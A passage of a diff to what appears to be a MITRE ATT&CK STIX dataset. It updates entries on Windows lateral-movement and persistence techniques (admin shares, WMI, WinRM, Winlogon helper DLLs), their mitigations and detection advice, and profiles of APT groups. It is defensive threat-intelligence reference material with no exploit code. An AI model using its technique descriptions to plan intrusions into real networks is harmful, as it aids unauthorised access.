-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Adversary access to Web server with vulnerability or account to upload and serve the Web shell file."
@@ -14237,8 +14832,8 @@
             "type": "course-of-action",
             "id": "course-of-action--308855d1-078b-47ad-8d2a-8f9b2713ffb5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Admin Shares Mitigation",
             "description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -14279,9 +14874,9 @@
             "id": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:00.200Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Admin Shares",
-            "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>. \n\nAdversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe Net utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)\n\nDetection: Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as Net, on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process use of network, Authentication logs, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator\n\nSystem Requirements: File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account.",
+            "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>. \n\nAdversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe Net utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)\n\nDetection: Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as Net, on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.\n\nPlatforms: Windows\n\nData Sources: Process use of network, Authentication logs, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator\n\nSystem Requirements: File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -14334,33 +14929,22 @@
                 "Process command-line parameters",
                 "Process monitoring"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
             "x_mitre_permissions_required": [
                 "Administrator"
             ],
             "x_mitre_system_requirements": [
                 "File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account."
+            ],
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--ba2ec548-fb75-4b8c-88d6-d91a77a943cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Management Instrumentation Mitigation",
             "description": "Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network.  By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)",
             "external_references": [
@@ -14381,9 +14965,9 @@
             "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:44.329Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Management Instrumentation",
-            "description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)\n\nDetection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication.\n\nRemote Support: Yes",
+            "description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)\n\nDetection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication.\n\nRemote Support: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -14430,21 +15014,10 @@
                 "User",
                 "Administrator"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
             "x_mitre_remote_support": true,
+            "x_mitre_platforms": [
+                "Windows"
+            ],
             "x_mitre_system_requirements": [
                 "WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication."
             ]
@@ -14453,8 +15026,8 @@
             "type": "course-of-action",
             "id": "course-of-action--0bc3ce00-83bc-4a92-a042-79ffbc6af259",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Management Instrumentation Event Subscription Mitigation",
             "description": "Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)",
             "external_references": [
@@ -14475,9 +15048,9 @@
             "id": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:05.140Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Management Instrumentation Event Subscription",
-            "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)\n\nDetection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns)\n\nPlatforms: Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: WMI Objects\n\nPermissions Required: Administrator, SYSTEM",
+            "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)\n\nDetection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: WMI Objects\n\nPermissions Required: Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -14517,31 +15090,20 @@
             "x_mitre_data_sources": [
                 "WMI Objects"
             ],
-            "x_mitre_platforms": [
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
-            ],
             "x_mitre_permissions_required": [
                 "Administrator",
                 "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--3e9f8875-d2f7-4380-a578-84393bd3b025",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Remote Management Mitigation",
             "description": "Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)",
             "external_references": [
@@ -14562,9 +15124,9 @@
             "id": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:33.723Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Remote Management",
-            "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)\n\nDetection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WinRM listener turned on and configured on remote system\n\nRemote Support: Yes",
+            "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)\n\nDetection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WinRM listener turned on and configured on remote system\n\nRemote Support: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -14589,7 +15151,7 @@
                 {
                     "source_name": "Jacobsen 2014",
                     "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;. Retrieved November 12, 2014.",
-                    "url": "http://www.slideee.com/slide/lateral-movement-with-powershell"
+                    "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2"
                 }
             ],
             "object_marking_refs": [
@@ -14606,21 +15168,10 @@
                 "User",
                 "Administrator"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
             "x_mitre_remote_support": true,
+            "x_mitre_platforms": [
+                "Windows"
+            ],
             "x_mitre_system_requirements": [
                 "WinRM listener turned on and configured on remote system"
             ]
@@ -14629,8 +15180,8 @@
             "type": "course-of-action",
             "id": "course-of-action--313c8b20-4d49-40c1-9ac0-4c573aca28f3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Winlogon Helper DLL Mitigation",
             "description": "Upgrade the operating system to a newer version of Windows if using a version prior to Vista. \n\nLimit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
             "external_references": [
@@ -14661,9 +15212,9 @@
             "id": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:20.148Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Winlogon Helper DLL",
-            "description": "Winlogon is a part of some Windows versions that performs actions at logon. In Windows systems prior to Windows Vista, a Registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup for persistence.\n\nDetection: Monitor for changes to registry entries in <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify</code> that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows Server 2003, Windows XP, Windows Server 2003 R2\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nPermissions Required: Administrator, SYSTEM",
+            "description": "Winlogon is a part of some Windows versions that performs actions at logon. In Windows systems prior to Windows Vista, a Registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup for persistence.\n\nDetection: Monitor for changes to registry entries in <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify</code> that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nPermissions Required: Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -14690,14 +15241,12 @@
                 "File monitoring",
                 "Process monitoring"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows XP",
-                "Windows Server 2003 R2"
-            ],
             "x_mitre_permissions_required": [
                 "Administrator",
                 "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
@@ -14705,7 +15254,7 @@
             "id": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:47.955Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT1",
             "description": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People\u2019s Liberation Army (PLA) General Staff Department\u2019s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)",
             "aliases": [
@@ -14735,14 +15284,15 @@
             "id": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:47.537Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT12",
-            "description": "APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda) It is also known as DynCalc, IXESHE, and Numbered Panda. (Citation: Moran 2014) (Citation: Meyers Numbered Panda)",
+            "description": "APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda)",
             "aliases": [
                 "APT12",
                 "IXESHE",
                 "DynCalc",
-                "Numbered Panda"
+                "Numbered Panda",
+                "DNSCALC"
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
@@ -14757,11 +15307,6 @@
                     "source_name": "Meyers Numbered Panda",
                     "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
                     "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/"
-                },
-                {
-                    "source_name": "Moran 2014",
-                    "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.",
-                    "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
                 }
             ]
         },
@@ -14770,7 +15315,7 @@
             "id": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:56.270Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT16",
             "description": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)",
             "aliases": [
@@ -14797,7 +15342,7 @@
             "id": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:57.307Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT17",
             "description": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)",
             "aliases": [
@@ -14825,7 +15370,7 @@
             "id": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:57.733Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT18",
             "description": "APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)",
             "aliases": [
@@ -14855,7 +15400,7 @@
             "id": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:48.664Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT28",
             "description": "APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)",
             "aliases": [
@@ -14904,13 +15449,14 @@
             "id": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:52.748Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT29",
             "description": "APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)",
             "aliases": [
                 "APT29",
                 "The Dukes",
-                "Cozy Bear"
+                "Cozy Bear",
+                "CozyDuke"
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
@@ -14942,9 +15488,9 @@
             "id": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:55.853Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT3",
-            "description": "APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)",
+            "description": "APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)\n\n (Citation: APT3 Adversary Emulation Plan)",
             "aliases": [
                 "APT3",
                 "Gothic Panda",
@@ -14982,6 +15528,11 @@
                     "source_name": "Symantec Buckeye",
                     "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                     "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                },
+                {
+                    "source_name": "APT3 Adversary Emulation Plan",
+                    "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.",
+                    "url": "https://attack.mitre.org/w/img%20auth.php/6/6c/APT3%20Adversary%20Emulation%20Plan.pdf"
                 }
             ]
         },
@@ -14990,7 +15541,7 @@
             "id": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:51.026Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT30",
             "description": "APT30 is a threat group suspected to be associated with the Chinese government. (Citation: FireEye APT30) While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)",
             "aliases": [
@@ -15013,7 +15564,7 @@
                 {
                     "source_name": "Baumgartner Golovkin Naikon 2015",
                     "description": "Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.",
-                    "url": "https://securelist.com/analysis/publications/69953/the-naikon-apt/"
+                    "url": "https://securelist.com/the-naikon-apt/69953/"
                 }
             ]
         },
@@ -15022,9 +15573,9 @@
             "id": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT32",
-            "description": "APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists. The group's operations are aligned with Vietnamese state interests. (Citation: FireEye APT32 May 2017)",
+            "description": "APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists, and has extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)",
             "aliases": [
                 "APT32",
                 "OceanLotus Group"
@@ -15042,6 +15593,38 @@
                     "source_name": "FireEye APT32 May 2017",
                     "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                     "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
+                },
+                {
+                    "source_name": "Volexity OceanLotus Nov 2017",
